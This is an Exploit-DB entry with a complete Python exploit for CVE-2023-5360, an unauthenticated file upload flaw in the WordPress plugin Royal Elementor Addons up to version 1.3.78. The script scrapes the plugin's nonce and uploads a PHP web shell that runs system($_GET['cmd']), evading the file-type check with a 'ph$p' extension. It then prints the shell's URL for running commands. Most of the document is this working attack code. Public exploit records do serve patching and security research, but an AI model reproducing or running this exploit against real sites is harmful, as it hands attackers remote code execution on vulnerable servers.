Exploit-DB #52127
Description: Royal Elementor Addons and Templates 1.3.78 - Unauthenticated Arbitrary File Upload
Type: webapps
Platform: multiple
Date: 2025-04-05
Author: 4m3rr0r

Exploit:
# Exploit Title: WordPress Plugin Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)
# Date: 2025-04-04
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
# Vendor Homepage: https://royal-elementor-addons.com
# Software Link: https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip
# Version: <= 1.3.78
# Tested on: WordPress 6.3.1, Royal Elementor Addons 1.3.78, Ubuntu 22.04 + Apache2 + PHP 8.1
# CVE: CVE-2023-5360

# Description:
# The Royal Elementor Addons and Templates WordPress plugin before 1.3.79 does not properly validate uploaded files, 
# which allows unauthenticated users to upload arbitrary files (such as .php), leading to Remote Code Execution (RCE).

import requests
import json
import re
import argparse
import tempfile
from urllib.parse import urljoin
from rich.console import Console

requests.packages.urllib3.disable_warnings()
console = Console()

def get_nonce(target):
    try:
        r = requests.get(target, verify=False, timeout=10)
        m = re.search(r'var\s+WprConfig\s*=\s*({.*?});', r.text)
        if m:
            nonce = json.loads(m.group(1)).get("nonce")
            return nonce
    except:
        pass
    return None

def upload_shell(target, nonce, file_path):
    ajax_url = urljoin(target, "/wp-admin/admin-ajax.php")
    with open(file_path, "rb") as f:
        files = {"uploaded_file": ("poc.ph$p", f.read())}
    data = {
        "action": "wpr_addons_upload_file",
        "max_file_size": 0,
        "allowed_file_types": "ph$p",
        "triggering_event": "click",
        "wpr_addons_nonce": nonce
    }
    try:
        r = requests.post(ajax_url, data=data, files=files, verify=False, timeout=10)
        if r.status_code == 200 and "url" in r.text:
            resp = json.loads(r.text)
            return resp["data"]["url"]
    except:
        pass
    return None

def generate_default_shell():
    with tempfile.NamedTemporaryFile(delete=False, suffix=".php") as tmp:
        shell_code = '<?php echo "Shell by 4m3rr0r - "; system($_GET["cmd"]); ?>'
        tmp.write(shell_code.encode())
        return tmp.name

def main():
    parser = argparse.ArgumentParser(description="Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)")
    parser.add_argument("-u", "--url", required=True, help="Target WordPress URL (e.g., https://target.com/)")
    parser.add_argument("-f", "--file", help="Custom PHP shell file to upload")
    args = parser.parse_args()

    console.print("[cyan][*] Getting nonce from WprConfig JS object...[/cyan]")
    nonce = get_nonce(args.url)
    if not nonce:
        console.print("[red][-] Failed to retrieve WprConfig nonce.[/red]")
        return

    console.print(f"[green][+] Nonce found: {nonce}[/green]")

    if args.file:
        shell_file = args.file
        console.print(f"[cyan][*] Using provided shell: {shell_file}[/cyan]")
    else:
        console.print("[cyan][*] No shell provided. Creating default RCE shell...[/cyan]")
        shell_file = generate_default_shell()
        console.print(f"[green][+] Default shell created at: {shell_file}[/green]")

    console.print("[cyan][*] Uploading shell...[/cyan]")
    uploaded_url = upload_shell(args.url, nonce, shell_file)

    if uploaded_url:
        console.print(f"[green][+] Shell uploaded successfully: {uploaded_url}[/green]")
        if not args.file:
            console.print(f"[yellow][>] Access it with: {uploaded_url}?cmd=id[/yellow]")
    else:
        console.print("[red][-] Upload failed. Target may be patched or not vulnerable.[/red]")

if __name__ == "__main__":
    main()